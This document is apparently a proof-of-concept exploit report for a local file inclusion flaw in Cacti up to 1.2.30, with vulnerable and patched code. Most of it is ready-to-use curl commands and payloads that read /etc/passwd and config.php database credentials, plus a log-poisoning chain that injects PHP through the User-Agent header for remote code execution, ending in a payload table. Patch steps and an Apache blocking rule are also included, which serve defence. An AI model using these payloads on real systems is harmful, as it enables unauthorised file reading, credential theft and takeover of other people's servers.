
Proof-of-concept exploit for CVE-2026-39938: unauthenticated local file inclusion in Cacti <= 1.2.30, enabling arbitrary file read and remote code execution via log poisoning.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-39938 |
| CVSS Score | 9.8 (Critical) |
| Affected Product | Cacti |
| Affected Versions | <= 1.2.30 |
| Patched Version | 1.2.31 |
| Fix Commit | 9871f0c |
The vulnerability exists in lib/rrd.php where the graph_theme parameter is used directly without sanitization:
VULNERABLE CODE:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
PATCHED CODE:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
The issue: No validation against ../ path traversal sequences, allowing attackers to read arbitrary files without authentication.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
Result: Contents of /etc/passwd will be displayed in the response.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
Result: Database credentials (username, password) will be exposed.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
Result: Command output (e.g., uid=33(www-data)) will be displayed.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
With Header: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
Report generated for security research purposes Date: June 27, 2026
| Endpoint | Parameter | Payload Example |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |